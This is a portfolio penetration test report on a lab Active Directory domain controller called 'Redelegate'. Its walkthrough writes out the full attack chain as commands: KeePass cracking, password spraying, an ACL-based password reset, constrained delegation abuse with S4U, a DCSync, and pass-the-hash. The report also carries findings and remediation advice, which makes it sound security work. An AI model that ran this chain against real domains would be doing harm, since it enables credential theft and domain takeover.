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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
Windows  Active  Directory  environment  hosted  at  10.129.234.50  (DC.redelegate.vl).  Testing  was
performed using a black-box approach without prior knowledge of the environment.

3.1 Approach
Joe  Thompson  performed  testing  using  a  black-box  approach  from  an  unauthenticated  external
position.  The  assessment  began  with  network  service  enumeration  and  progressed  through
anonymous FTP access, credential cracking, user enumeration, password spraying, Active Directory
ACL exploitation, and delegation abuse to achieve full domain compromise.

3.2 Scope
The scope of this assessment included the externally accessible host 10.129.234.50  (DC.redelegate.vl,
redelegate.vl). Testing covered all services accessible at the target IP.

In Scope Assets
Asset Type Description

Domain Controller 10.129.234.50  (DC.redelegate.vl)

Domain redelegate.vl — Windows Active Directory

FTP Service Port 21 — anonymous access permitted

MSSQL Port 1433 — Microsoft SQL Server 2019

WinRM Port 5985 — used for foothold and domain compromise

3.3 Assessment Overview and Recommendations
During this assessment, Joe Thompson identified 3 security findings enabling full domain compromise
from an unauthenticated external position. The findings include 1 critical-risk finding and 2 high-risk
findings.

Anonymous FTP access to the domain controller exposed three files: a training agenda, a cyber audit
document,  and a  KeePass  database.  The training agenda explicitly  referenced 'SeasonYear!'  as  an
example of a weak password convention in use. The KeePass database master password was cracked
from a targeted seasonal wordlist as  Fall2024! . Inside the database, credentials for  SQLGuest  were
validated against MSSQL. Using the MSSQL account, RID brute force enumerated domain users, and
spraying the seasonal wordlist against those users yielded Marie.Curie:Fall2024! .

BloodHound enumeration with Marie.Curie's credentials revealed a two-hop ACL path: Marie.Curie is a
member  of  Helpdesk,  which  holds  ForceChangePassword  over  Helen.Frost,  a  member  of  Remote
Management  Users.  Helen.Frost's  password  was  reset  via  bloodyAD  and  a  WinRM  session  was
established with the user flag retrieved.
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Privilege escalation combined two misconfigurations: Helen.Frost held SeEnableDelegationPrivilege ,
and  her  membership  in  the  IT  group  gave  GenericAll  over  the  FS01$  machine  account.  FS01$ 's
password was reset, the TRUSTED_TO_AUTH_FOR_DELEGATION  flag was set, and msDS-AllowedToDelegateTo
was configured to  cifs/dc.redelegate.vl . Using  FS01$ 's TGT and impacket's getST, a service ticket
impersonating the domain controller's machine account was obtained via S4U2self and S4U2proxy.
DCSync with that ticket recovered the Administrator NT hash for a pass-the-hash WinRM session and
the root flag.

Recommendations include disabling FTP anonymous access, securing the KeePass database with a
strong password and restricted distribution, enforcing a non-predictable password policy, removing
the ForceChangePassword ACL, and revoking SeEnableDelegationPrivilege from Helen.Frost.
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4 Network Penetration Test Assessment
Summary
Joe Thompson conducted testing from the perspective of an unauthenticated external attacker. Testing
chained anonymous FTP credential exposure, KeePass cracking, RID brute force, password spraying,
ACL-based  lateral  movement,  SeEnableDelegationPrivilege  abuse,  and  constrained  delegation
configuration to achieve full domain compromise.

4.1 Summary of Findings
During testing, Joe Thompson identified 3 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical and 2 High vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 9.9 (Critical)
SeEnableDelegationPrivilege and GenericAll Over Machine
Account Enable Constrained Delegation Configuration and
DCSync

22

2 8.1 (High) Helpdesk Group Holds ForceChangePassword Over WinRM-
Capable Account Enabling Unauthorised Lateral Movement 25

3 7.5 (High) Anonymous FTP Access Exposes KeePass Credential Database
with Predictable Master Password 27
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5 Internal Network Compromise Walkthrough
During  the  assessment,  Joe  Thompson  chained  anonymous  FTP  credential  exposure,  KeePass
cracking,  password  spraying,  ACL-based  lateral  movement,  and  constrained  delegation  abuse  to
achieve full domain compromise from an unauthenticated external position. The walkthrough below
documents  the  successful  attack  path  and  does  not  represent  all  vulnerabilities  identified  during
testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the redelegate.vl domain.

Performed network enumeration — FTP (21, anonymous login), DC (88/389/3268, redelegate.vl),
MSSQL (1433), WinRM (5985) identified; ~3-hour clock skew detected — ntpdate run before
Kerberos operations
Connected via anonymous FTP — downloaded TrainingAgenda.txt (SeasonYear! password hint),
CyberAudit.txt (ACL remediation outstanding), Shared.kdbx; cracked KeePass master password as
Fall2024!; opened database — SQLGuest credentials validated against MSSQL
Used SQLGuest MSSQL access for RID brute force — enumerated 10 domain user accounts;
sprayed seasonal wordlist via NXC SMB — Marie.Curie:Fall2024! confirmed
Collected BloodHound data as Marie.Curie; identified ACL chain: Marie.Curie → Helpdesk group →
ForceChangePassword → Helen.Frost (Remote Management Users); reset Helen.Frost's password
via bloodyAD; established evil-winrm session; retrieved user flag
Checked Helen.Frost token privileges — SeEnableDelegationPrivilege enabled; BloodHound
confirmed IT group (Helen member) has GenericAll over FS01

 password via GenericAll; confirmed FS01
; configured

msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl
Obtained TGT for FS01$; used getST to request service ticket impersonating the dc machine
account via S4U2self/S4U2proxy; exported CIFS service ticket; DCSync'd administrator hash via
secretsdump; evil-winrm as Administrator; root flag retrieved

1. Network Enumeration

A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.234.50 -oA TCP_allports
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.234.50

Key results: FTP (21) with anonymous login permitted; Kerberos (88) and LDAP (389/3268) confirming
domain controller and domain  redelegate.vl ;  MSSQL (1433); WinRM (5985); RDP (3389). A ~3-hour
clock skew was observed in LDAP;  ntpdate  was run and  /etc/hosts  updated before any Kerberos
operations.

1. 

2. 

3. 

4. 

5. 

; obtainedTGTforHelen.Frost; resetFS01
credentials; setTRUSTED O UTH OR ELEGATIONflagonFS01T A F D

6. 
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2. FTP Anonymous Access and KeePass Credential Cracking

Anonymous FTP access was confirmed and all files downloaded:

The training agenda document contained a talk titled  'Why SeasonYear! is not a good password' — a
direct indication of the password format in active use:

The  cyber  audit  document  listed  two  open  action  items:  removing  unused  domain  objects  and
rechecking ACLs — both consistent with the attack paths discovered later via BloodHound:
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A targeted seasonal wordlist was built for the last four years ( Spring2023!  through Winter2026! ). The
KeePass database was converted to a crackable hash and cracked against that list:

keepass2john Shared.kdbx > Shared.kdbx.hash
john --wordlist=seasonal.txt Shared.kdbx.hash

Master password: Fall2024!

The database contained seven credential entries:
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Of all entries tested, SQLGuest  authenticated against MSSQL:
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3. RID Brute Force and Password Spraying

The authenticated MSSQL session was used to perform RID brute force enumeration of domain users:

nxc mssql 10.129.234.50 -u 'SQLGuest' -p 'zDPBpaF4FywlqIv11vii' --local-auth --rid-brute

Ten domain accounts were identified. The seasonal wordlist was sprayed against all  users via NXC
SMB:

nxc smb 10.129.234.50 -u users.txt -p seasonal.txt --continue-on-success
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One credential pair authenticated: Marie.Curie:Fall2024!

4. BloodHound Enumeration and ForceChangePassword Foothold

RustHound collected the full Active Directory graph using Marie.Curie's credentials:

rusthound-ce -d redelegate.vl -u 'Marie.Curie' -p 'Fall2024!' -o ./bh -z

Marie.Curie was marked as owned and the shortest paths from owned principals were explored:

The graph revealed a direct path to WinRM access:

Marie.Curie is a member of Helpdesk, which holds ForceChangePassword over Helen.Frost, who is a
member of Remote Management Users. This matches the CyberAudit document's note about ACLs
requiring review.

Helen.Frost's password was reset using Marie.Curie's ForceChangePassword right:

bloodyAD --host 10.129.234.50 -d redelegate.vl -u 'Marie.Curie' -p 'Fall2024!' \
set password Helen.Frost Password1!

ARCHWARDEN

Joe Thompson Redelegate 15



A WinRM session was established and the user flag retrieved:

evil-winrm -i 10.129.234.50 -u Helen.Frost -p 'Password1!'

5. Privilege Identification — SeEnableDelegationPrivilege and Constrained Delegation Setup

Helen.Frost's token privileges were checked immediately upon gaining the shell:

SeEnableDelegationPrivilege  was  enabled.  This  privilege  allows  setting  the
TRUSTED_TO_AUTH_FOR_DELEGATION  flag on accounts and writing msDS-AllowedToDelegateTo  — the two
attributes  required  to  configure  constrained  delegation.  BloodHound  confirmed  the  second
component: Helen.Frost's membership in the IT group gives GenericAll over FS01$ :
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The attack plan:  reset  FS01$ 's  password via GenericAll,  configure constrained delegation targeting
cifs/dc.redelegate.vl , then impersonate the DC machine account to DCSync.

A TGT for Helen.Frost was obtained and set as the active Kerberos ticket:

impacket-getTGT redelegate.vl/HELEN.FROST:'Password1!'
export KRB5CCNAME=HELEN.FROST.ccache

FS01$ 's password was reset using bloodyAD authenticated via Kerberos:

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set password 'FS01$' 'Password1!'

The new credentials were confirmed valid:
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The TRUSTED_TO_AUTH_FOR_DELEGATION  UAC flag was set on FS01$  using SeEnableDelegationPrivilege :

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl add uac FS01$ -f 
TRUSTED_TO_AUTH_FOR_DELEGATION

The delegation target was configured:

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl set object FS01$ \
  msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'

6. S4U2self/S4U2proxy Impersonation, DCSync, and Domain Compromise

A TGT was obtained for FS01$  using the newly-set password:

impacket-getTGT redelegate.vl/fs01\$:'Password1!' -dc-ip 10.129.234.50
export KRB5CCNAME=fs01\$.ccache

getST was used to request a service ticket impersonating the  dc  machine account against the CIFS
service on the domain controller via S4U2self and S4U2proxy:

impacket-getST -k -no-pass redelegate.vl/fs01\$ \
  -spn cifs/dc.redelegate.vl -impersonate dc -dc-ip 10.129.234.50

The resulting CIFS service ticket was exported as the active Kerberos credential:

secretsdump performed DCSync using the impersonated ticket:

impacket-secretsdump -k dc.redelegate.vl -just-dc-user Administrator
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Administrator NT hash: ec17f7a2a4d96e177bfd101b94ffc0a7

evil-winrm -i redelegate.vl -u Administrator -H 'ec17f7a2a4d96e177bfd101b94ffc0a7'
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6 Remediation Summary
The findings from this assessment span service misconfiguration, credential storage practices, Active
Directory ACL abuse, and an overly permissive privilege assignment. Each finding contributed to the
attack chain from unauthenticated external access to full domain compromise.

6.1 Short Term
SHORT TERM REMEDIATION:

Disable anonymous FTP access on the domain controller. FTP anonymous access should never be
enabled on a domain controller. If FTP file sharing is an operational requirement, restrict access to
authenticated users, require TLS (FTPS), and serve files from a dedicated non-DC host. Immediately
review the FTP share contents and remove any credential material, databases, or internal
documents from the exposed directory.
Rotate the KeePass master password and restrict distribution of the Shared.kdbx  file. The current
master password follows the predictable SeasonYear!  format documented in the organisation's
own training materials. Replace it with a long random passphrase and store the database in a
controlled location accessible only to authorised personnel. The SQLGuest password and all other
credentials stored in the database should be rotated immediately.
Remove SeEnableDelegationPrivilege  from Helen.Frost's token. This privilege should be restricted
to domain administrators and specific automation accounts with a documented delegation
configuration role. Revoke it from all standard and helpdesk user accounts.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Remove the ForceChangePassword ACL from the Helpdesk group over Helen.Frost. The Helpdesk
group should not hold password reset rights over WinRM-capable accounts. If helpdesk password
reset is an operational requirement, implement it through a delegated administration model that
restricts resets to standard users only and excludes privileged and IT-group accounts.
Audit all constrained delegation configurations in the domain. After remediation, verify that no
accounts hold TRUSTED_TO_AUTH_FOR_DELEGATION  or msDS-AllowedToDelegateTo  entries that were not
explicitly and intentionally configured by an administrator. The FS01$ machine account should have
its delegation configuration removed and its password rotated.
Enforce a non-predictable password policy. The discovery of Marie.Curie:Fall2024!  via password
spraying against a seasonal wordlist demonstrates that the SeasonYear! format is in active use
despite being the subject of internal training. Implement Azure AD Password Protection or a third-
party password filter to block passwords matching known weak patterns including seasonal
formats, company names, and dictionary words with appended numbers or symbols.

• 

• 

• 

• 

• 

• 
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6.3 Long Term
LONG TERM REMEDIATION:

Conduct a full BloodHound ACL audit and remediate all ForceChangePassword, GenericAll,
GenericWrite, and WriteOwner edges from standard user accounts to privileged accounts or
members of Remote Management Users. The CyberAudit document identified ACL rechecks as an
open item — this audit should be completed and ACL review should be established as a recurring
quarterly process.
Remove unused domain objects. The CyberAudit document also flagged this as an open item. Stale
machine accounts such as FS01$  with GenericAll exposure to IT group members represent a lateral
movement surface that accumulates over time without active cleanup. Implement a process to
regularly review and disable machine accounts inactive for more than 90 days.
Restrict sensitive privileges ( SeEnableDelegationPrivilege , SeDebugPrivilege , 
SeImpersonatePrivilege ) through Group Policy and audit them quarterly. Privilege assignments
that are unusual for a given role — such as SeEnableDelegationPrivilege on a helpdesk account —
are a reliable indicator of misconfiguration that may not surface without systematic review.

• 

• 

• 
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7 Technical Findings Details

1. SeEnableDelegationPrivilege and GenericAll Over
Machine Account Enable Constrained Delegation
Configuration and DCSync - Critical

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 9.9 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Root Cause

Helen.Frost holds SeEnableDelegationPrivilege , which allows writing the TRUSTED_
TO_AUTH_FOR_DELEGATION  flag  and  msDS-AllowedToDelegateTo  attribute  on  any
account.  Her  IT  group  membership  gives  GenericAll  over  the  FS01$  machine
account, enabling a password reset. Together these allow configuring constrained
delegation on FS01$ : after resetting its password, setting the delegation flag, and
writing msDS-AllowedToDelegateTo = cifs/dc.redelegate.vl , the machine account
can request service tickets via S4U2self and S4U2proxy impersonating any user —
including  the  DC  machine  account  — against  the  CIFS  service.  A  secretsdump
DCSync with that impersonated ticket extracted the Administrator NT hash for a
pass-the-hash WinRM session.

Impact
Full  domain compromise. The Administrator NT hash was recovered via DCSync
using  an  impersonated  service  ticket.  A  pass-the-hash  WinRM  session  as
Administrator was established and the root flag retrieved.

Affected
Component

Helen.Frost — SeEnableDelegationPrivilege: allows configuring constrained
delegation
IT group — GenericAll over FS01$: allows password reset and attribute
modification
FS01$ machine account — configured with constrained delegation to cifs/
dc.redelegate.vl

Remediation

Revoke  SeEnableDelegationPrivilege  from  Helen.Frost  and  audit  all  accounts
holding  this  privilege.  It  should  be  assigned  only  to  administrators  with  a
documented and approved delegation configuration role — never to helpdesk or
standard  user  accounts.  Remove  GenericAll  from  the  IT  group  over  FS01

 (clear 
TRUSTED_TO_AUTH_FOR_DELEGATION  and  msDS-AllowedToDelegateTo )  and  rotate
FS01$'s password. Conduct a quarterly audit of all accounts with constrained or
unconstrained delegation configured using BloodHound or the AD attribute msDS-
AllowedToDelegateTo .

References https://attack.mitre.org/techniques/T1003/006/
https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

Finding Evidence
SeEnableDelegationPrivilege was confirmed on Helen.Frost's token:

• 

• 

• 

andreplaceitwiththeminimumpermissionsneeded.RemovetheconstraineddelegationconfigurationfromFS01

• 
• 
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BloodHound confirmed IT group GenericAll over FS01$:

FS01$'s password was reset, delegation flag set, and delegation target configured:

A service ticket impersonating the DC machine account was obtained via S4U2self/S4U2proxy:
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DCSync extracted the Administrator hash:

Pass-the-hash as Administrator delivered the root flag:
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2. Helpdesk Group Holds ForceChangePassword Over
WinRM-Capable Account Enabling Unauthorised Lateral
Movement - High

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 8.1 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Root Cause

The Helpdesk group holds  ForceChangePassword  over  Helen.Frost , a member of
Remote  Management  Users.  ForceChangePassword  allows  any  member  of  the
Helpdesk  group  to  reset  Helen.Frost's  password  without  knowing  her  current
password.  Combined with  Marie.Curie 's  Helpdesk membership — accessed via
password spray — this allowed resetting Helen.Frost's password and establishing a
WinRM session as her account. The CyberAudit document found via FTP explicitly
listed  an  ACL  recheck  as  an  outstanding  audit  action,  indicating  this
misconfiguration was known but not remediated.

Impact

WinRM  access  to  the  domain  controller  as  Helen.Frost,  with  the  user  flag.
Helen.Frost  held  SeEnableDelegationPrivilege  and  IT  group  membership  with
GenericAll over FS01$, enabling the constrained delegation privilege escalation in
Finding 3.

Affected
Component

Active Directory — Helpdesk group: ForceChangePassword over Helen.Frost
Helen.Frost — Remote Management Users (WinRM access)

Remediation

Remove the ForceChangePassword ACL from the Helpdesk group over Helen.Frost.
Helpdesk password reset rights should be scoped to standard user accounts and
explicitly  exclude  members  of  IT,  Remote  Management  Users,  and  any  other
privileged groups. If helpdesk-driven resets are required, implement them through
a controlled  delegation model  that  limits  the  scope to  non-privileged accounts
only. Complete the ACL recheck flagged in the CyberAudit document and establish
a regular BloodHound audit cadence to detect new dangerous ACL edges.

References
https://bloodhound.readthedocs.io/en/latest/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/
acl-persistence-abuse

Finding Evidence
BloodHound  mapped  the  ForceChangePassword  path  from  Marie.Curie  to  Helen.Frost  via  the
Helpdesk group:

• 
• 

• 
• 
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Helen.Frost's password was reset via bloodyAD and a WinRM shell was established:
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3. Anonymous FTP Access Exposes KeePass Credential
Database with Predictable Master Password - High

CWE CWE-284 - Improper Access Control

CVSS 3.1 7.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Root Cause

The FTP service on the domain controller permits anonymous login and exposes
three files: a training agenda, a cyber audit document, and a KeePass database ( Sh
ared.kdbx ). The training agenda explicitly references 'SeasonYear!' as an example
of  a  weak  password  format  in  use  at  the  organisation.  The  KeePass  master
password  followed  exactly  this  pattern  ( Fall2024! )  and  was  cracked  from  a
targeted  seasonal  wordlist  in  seconds.  The  database  contained  credentials  for
multiple accounts including SQLGuest , which was valid against the MSSQL service
and used for RID brute force enumeration of all domain user accounts.

Impact

Anonymous  access  to  a  credential  database  containing  valid  service  account
credentials.  SQLGuest MSSQL access enabled domain user enumeration via RID
brute force, which directly fed the password spray that yielded Marie.Curie:Fall20
24!  — the starting point for the Active Directory exploitation chain.

Affected
Component

FTP service (port 21) — anonymous login permitted on domain controller
Shared.kdbx — KeePass database with predictable master password
(Fall2024!)

Remediation

Disable  anonymous  FTP  access  immediately.  FTP  anonymous  access  has  no
legitimate use case on a domain controller. If FTP-based file sharing is required,
use  an  authenticated  FTPS  service  on  a  dedicated  non-DC  server.  Remove  all
credential material, databases, and internal documents from the FTP root. Rotate
all passwords stored in the KeePass database and replace the master password
with  a  long  randomly-generated  passphrase.  Enforce  a  password  policy  that
prevents use of seasonal, dictionary-based, or pattern-following passwords across
all accounts.

References https://owasp.org/www-community/vulnerabilities/
Insecure_Storage_of_Sensitive_Information

Finding Evidence
Anonymous FTP login was confirmed and all files were downloaded:

• 
• 
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The training agenda directly disclosed the password format in use:

The KeePass master password was cracked from a seasonal wordlist:

SQLGuest credentials from the database authenticated against MSSQL:
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0
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A.2 Host & Service Discovery
IP Address Port Service Notes

10.129.234.50 21 FTP Microsoft ftpd — anonymous login allowed

10.129.234.50 53 DNS Simple DNS Plus

10.129.234.50 80 HTTP Microsoft IIS httpd 10.0

10.129.234.50 88 Kerberos Microsoft Windows Kerberos

10.129.234.50 135 RPC Microsoft Windows RPC

10.129.234.50 139 NetBIOS Microsoft Windows netbios-ssn

10.129.234.50 389 LDAP Microsoft Windows AD LDAP (Domain: redelegate.vl)

10.129.234.50 445 SMB Microsoft SMB

10.129.234.50 1433 MSSQL Microsoft SQL Server 2019 15.00.2000.00

10.129.234.50 3268 LDAP GC Microsoft Windows AD LDAP — Global Catalog

10.129.234.50 3389 RDP Microsoft Terminal Services

10.129.234.50 5985 WinRM Microsoft HTTPAPI httpd 2.0

10.129.234.50 9389 mc-nmf .NET Message Framing
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A.3 Subdomain Discovery
URL Description Discovery Method

redelegate.vl Primary domain — DC LDAP domain discovery

dc.redelegate.vl Domain controller LDAP hostname enumeration

ARCHWARDEN

Joe Thompson Redelegate 32



A.4 Exploited Hosts
Host Scope Method Notes

DC.redelegate.vl
(10.129.234.50)

Extern
al

Anonymous FTP → KeePass crack → SQLGuest
RID brute → password spray

Marie.Curie:Fall202
4!

DC.redelegate.vl
(10.129.234.50)

Intern
al ForceChangePassword via Helpdesk group

WinRM as
Helen.Frost; user
flag

DC.redelegate.vl
(10.129.234.50)

Intern
al

SeEnableDelegationPrivilege + GenericAll →
constrained delegation → S4U → DCSync

Administrator NT
hash; root flag
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A.5 Compromised Users
Username Type Method Notes

SQLGuest SQL account KeePass database cracked
(Fall2024!) MSSQL access; RID brute force

Marie.Curie Domain
user

Password spray with seasonal
wordlist (Fall2024!)

BloodHound enumeration;
ForceChangePassword on
Helen.Frost

Helen.Frost Domain
user

ForceChangePassword via
Helpdesk group

WinRM; user flag;
SeEnableDelegationPrivilege; IT
group member

FS01$ Machine
account

GenericAll via IT group —
password reset and delegation
configured

S4U2self/S4U2proxy
impersonation of DC machine
account

Administrat
or

Domain
administrat
or

DCSync via impersonated DC CIFS
ticket

Full domain compromise; root
flag
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A.6 Changes/Host Cleanup
Host Scope Change / Cleanup Needed

redelegat
e.vl AD Helen.Frost password was force-reset to Password1! — rotate

redelegat
e.vl AD FS01$ password was reset — rotate

redelegat
e.vl AD FS01$ delegation flags set (TRUSTED_TO_AUTH_FOR_DELEGATION + msDS-

AllowedToDelegateTo) — remove both
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A.7 Flags Discovered
Flag
# Host Flag Value Flag Location Method Used

1 DC.redel
egate.vl

a89c4db65de50
52847c05ac635
b5e40c

C:
\Users\Helen.Frost
\Desktop\user.txt

FTP → KeePass → spray →
ForceChangePassword → evil-winrm as
Helen.Frost

2 DC.redel
egate.vl

cee965938fad77
4c4b1607c3905
d109d

C:
\Users\Administrat
or\Desktop\root.tx
t

SeEnableDelegationPrivilege + GenericAll
→ constrained delegation → DCSync →
evil-winrm as Administrator
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End of Report 
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